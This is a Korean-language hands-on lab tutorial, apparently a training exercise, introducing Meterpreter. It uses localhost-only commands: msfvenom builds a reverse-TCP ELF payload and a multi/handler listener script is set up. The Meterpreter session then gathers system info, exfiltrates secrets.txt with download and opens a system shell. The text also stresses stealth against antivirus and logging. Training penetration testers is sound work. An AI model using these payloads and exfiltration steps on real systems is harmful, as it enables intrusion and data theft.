소개

Meterpreter 입문 실습에 오신 것을 환영합니다.

Meterpreter는 Metasploit 프레임워크의 일부인 고급 동적 확장 가능 페이로드입니다. 표준 입력과 출력을 시스템 셸(예: /bin/bash)로 단순히 전달하는 기본 명령 셸과 달리, Meterpreter는 풍부하고 대화형인 명령 환경을 제공합니다. 이 페이로드는 전적으로 메모리 내에서 작동하므로 대상의 하드 드라이브에 아무것도 기록하지 않아 매우 은밀하며, 기존의 안티바이러스 소프트웨어가 탐지하기 어렵습니다.

Meterpreter가 중요한 이유는 셸을 세션 플랫폼으로 전환하기 때문입니다. 운영 체제에 텍스트 명령만 보내는 것이 아니라, 정보 수집, 파일 상호 작용, 라우팅 및 침투 후(post-exploitation) 워크플로우를 위한 내장 기능을 활용할 수 있습니다.

이번 실습에서는 Meterpreter 페이로드를 생성하고, 들어오는 연결을 수신할 리스너를 설정하며, 침투한 시스템과 상호 작용하는 전체 과정을 배웁니다. 시스템 정보를 수집하고, 기본 OS 바이너리에 의존하지 않고 파일 시스템을 탐색하며, 필요할 때 기본 시스템 셸로 전환하는 내장 명령어들을 살펴볼 것입니다.

Meterpreter 페이로드 배포

이 단계에서는 Meterpreter 페이로드를 생성하고 연결을 설정할 리스너를 구성합니다. Metasploit 프레임워크에서 제공하는 독립형 페이로드 생성기인 msfvenom을 사용하여 Meterpreter 페이로드가 포함된 실행 파일을 만듭니다.

먼저 기본 작업 디렉토리에 있는지 확인하십시오. 로컬 머신으로 다시 연결되도록 구성된 Linux 실행 페이로드("리버스 셸")를 생성합니다. 다음 명령을 실행하여 payload.elf라는 페이로드를 만듭니다.

이 생성 단계는 페이로드 매개변수가 실제 운영 환경에 적용되는 과정입니다. LHOST와 LPORT는 추상적인 설정이 아니라, 세션이 정확히 어떻게 사용자에게 도달할지를 정의합니다.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf

현재 실습 환경에서 Metasploit을 처음 사용하는 경우, msfvenom이 페이로드를 생성하기 전에 초기 설정 프롬프트가 나타날 수 있습니다. 새 데이터베이스를 설정할지 묻는 메시지가 나오면 yes라고 답하고 설정이 완료될 때까지 기다리십시오. 그 후 msfvenom이 계속 진행되어 payload.elf를 저장합니다.

페이로드를 생성한 후에는 시스템이 실행할 수 있도록 실행 권한을 부여해야 합니다. chmod 명령을 사용하여 실행 권한을 추가하십시오.

chmod +x payload.elf

다음으로, 페이로드가 실행될 때 연결을 수신할 리스너를 설정해야 합니다. Metasploit 콘솔(msfconsole) 구성을 자동화하기 위해 리소스 스크립트를 만듭니다. 필요한 구성이 포함된 listener.rc 파일을 생성하십시오.

cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF

이제 방금 만든 리소스 스크립트를 사용하여 Metasploit 콘솔을 시작합니다. -q 플래그는 조용한 모드(시작 배너 없이)로 시작하며, -r은 스크립트를 실행하라는 의미입니다.

msfconsole -q -r listener.rc

127.0.0.1:4444에서 리버스 TCP 핸들러가 시작되었다는 출력이 표시됩니다.

리스너를 계속 실행하면서 페이로드를 실행하려면 새 터미널 탭을 열어야 합니다. LabEx 인터페이스에서 터미널 위의 + 아이콘을 클릭하여 새 터미널 창을 엽니다. 이 새 터미널에서 페이로드를 실행하십시오.

./payload.elf

첫 번째 터미널 탭으로 돌아가십시오. Meterpreter session 1 opened라는 메시지가 표시될 것입니다. Enter 키를 눌러 msf6 > 프롬프트를 확인한 다음, 다음을 입력하여 세션과 상호 작용하십시오.

sessions -i 1

이제 meterpreter > 프롬프트가 표시되며, 이는 Meterpreter 페이로드가 성공적으로 배포되고 연결되었음을 의미합니다.

시스템 정보 검색 (sysinfo)

이 단계에서는 Meterpreter의 내장 명령어를 사용하여 침투한 시스템에 대한 정보를 수집합니다. Meterpreter는 메모리에서 실행되며 자체 명령어 세트를 가지고 있기 때문에, 이 정보를 얻기 위해 대상 시스템의 기본 Linux 명령어(예: uname 또는 whoami)에 의존할 필요가 없습니다.

이러한 내장 명령어 세트는 Meterpreter 세션이 매우 유용한 이유 중 하나입니다. 많은 일반적인 작업들을 기본 셸로 즉시 전환하지 않고도 수행할 수 있습니다.

이전 단계에서 사용한 meterpreter > 프롬프트에 있는지 확인하십시오. 그렇지 않다면 sessions -i 1을 사용하여 세션과 상호 작용 중인지 확인하십시오.

컴퓨터 이름, 운영 체제, 아키텍처, Meterpreter 버전과 같은 기본 시스템 정보를 검색하려면 다음 명령을 입력하십시오.

sysinfo

다음과 유사한 출력이 표시됩니다.

Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

다음으로, Meterpreter 페이로드가 현재 어떤 사용자 계정으로 실행 중인지 확인할 수 있습니다. 이는 대상 시스템에서의 권한 수준을 이해하는 데 매우 중요합니다. 다음 명령을 실행하십시오.

getuid

출력에는 서버 사용자 이름이 표시되며, 이 환경에서는 labex로 나타납니다.

Server username: labex

이 명령어들은 Meterpreter를 통해 기본 명령어 실행을 모니터링할 수 있는 시스템 수준의 로깅을 트리거하지 않고도 침투한 환경을 얼마나 빠르게 평가할 수 있는지 보여줍니다.

대상 파일 시스템 탐색

이 단계에서는 Meterpreter의 내장 파일 관리 명령어를 사용하여 대상의 파일 시스템을 탐색합니다. 이 명령어들은 표준 Linux 명령어와 유사하게 작동하지만, Meterpreter 세션 내에서 완전히 실행되므로 추가적인 은밀성을 제공합니다.

파일 시스템 상호 작용은 많은 목표가 결국 호스트에서 아티팩트를 찾거나, 읽거나, 유출하는 것에 달려 있기 때문에 침투 후 활동의 핵심입니다.

meterpreter > 프롬프트에서 pwd 명령을 사용하여 현재 작업 디렉토리를 확인할 수 있습니다.

pwd

현재 디렉토리가 /home/labex/project로 표시될 것입니다. 이 디렉토리의 내용을 나열하려면 ls 명령을 사용하십시오.

ls

target_data라는 디렉토리가 보일 것입니다. cd 명령을 사용하여 이 디렉토리로 이동해 봅시다.

cd target_data

만약 ls 결과에 target_data가 보이지 않는다면, 일반 터미널(Meterpreter 세션이 아님)에서 필요한 폴더와 파일을 수동으로 생성한 후 계속하십시오.

mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt

target_data 디렉토리의 내용을 나열하여 내부 파일을 찾으십시오.

ls

secrets.txt라는 파일이 보일 것입니다. cat 명령을 사용하여 Meterpreter 내에서 이 파일의 내용을 직접 읽을 수 있습니다.

cat secrets.txt

출력에는 파일에 저장된 기밀 데이터가 표시됩니다. 평가 중에는 추가 분석을 위해 파일을 로컬 머신으로 유출(다운로드)하고 싶을 때가 많습니다. Meterpreter는 download 명령으로 이를 쉽게 수행할 수 있게 해줍니다.

secrets.txt 파일을 다운로드하여 메인 프로젝트 디렉토리에 downloaded_secrets.txt로 저장하십시오.

download secrets.txt /home/labex/project/downloaded_secrets.txt

파일이 성공적으로 다운로드되었음을 알리는 확인 메시지가 표시됩니다. 이는 Meterpreter가 대상과 로컬 머신 간에 파일을 원활하게 전송할 수 있음을 보여줍니다.

시스템 명령어 실행 (shell)

이 단계에서는 Meterpreter 세션에서 기본 시스템 셸로 전환하는 방법을 배웁니다. Meterpreter는 많은 내장 명령어를 제공하지만, 때로는 대상의 운영 체제와 직접 상호 작용하거나, 특정 스크립트를 실행하거나, Meterpreter가 기본적으로 지원하지 않는 기본 바이너리를 사용해야 할 때가 있습니다.

표준 시스템 셸을 열려면 meterpreter > 프롬프트에서 다음 명령을 입력하십시오.

shell

프롬프트가 변경되거나 사라지며, 이제 대상 시스템의 /bin/sh 또는 /bin/bash 셸과 직접 상호 작용하고 있음을 알 수 있습니다.

이제 기본 셸에 들어왔으므로 표준 Linux 명령어를 실행할 수 있습니다. 시스템 수준의 실행 권한이 있음을 증명하기 위해 파일을 만들어 봅시다. 다음 명령을 실행하여 프로젝트 디렉토리에 hacked.txt라는 파일을 만드십시오.

echo "hacked by meterpreter" > /home/labex/project/hacked.txt

cat 명령으로 파일을 읽어 파일이 생성되었는지 확인할 수 있습니다.

cat /home/labex/project/hacked.txt

출력에 hacked by meterpreter가 표시됩니다.

기본 시스템 명령어 실행을 마쳤으면, 다시 은밀한 Meterpreter 세션으로 돌아갈 수 있습니다. 이를 위해 단순히 exit를 입력하고 Enter 키를 누르십시오.

exit

meterpreter > 프롬프트로 돌아옵니다. 은밀한 메모리 상주 환경과 전체 시스템 셸 사이를 원활하게 전환할 수 있는 이 능력은 Meterpreter를 매우 다재다능한 도구로 만들어 줍니다.

요약

축하합니다! Meterpreter 입문 실습을 성공적으로 완료했습니다.

이번 실습에서는 msfvenom을 사용하여 Meterpreter 페이로드를 생성하고 msfconsole을 사용하여 리스너를 설정하는 방법을 배웠습니다. 또한 Meterpreter의 내장 sysinfo 및 getuid 명령어를 사용하여 중요한 시스템 및 사용자 정보를 검색하는 방법도 익혔습니다. 더 나아가, 대상의 파일 시스템을 은밀하게 탐색하고 download 명령어를 사용하여 데이터를 유출하는 연습을 했습니다. 마지막으로, 기본 시스템 셸로 전환하여 OS 수준의 명령어를 실행하고 다시 Meterpreter 세션으로 원활하게 돌아오는 방법을 배웠습니다.

이러한 기본 기술들은 침투 후 활동의 기초를 형성하며, 이를 통해 제어권을 유지하고 정보를 수집하며 침투한 시스템을 효과적으로 조작할 수 있게 됩니다.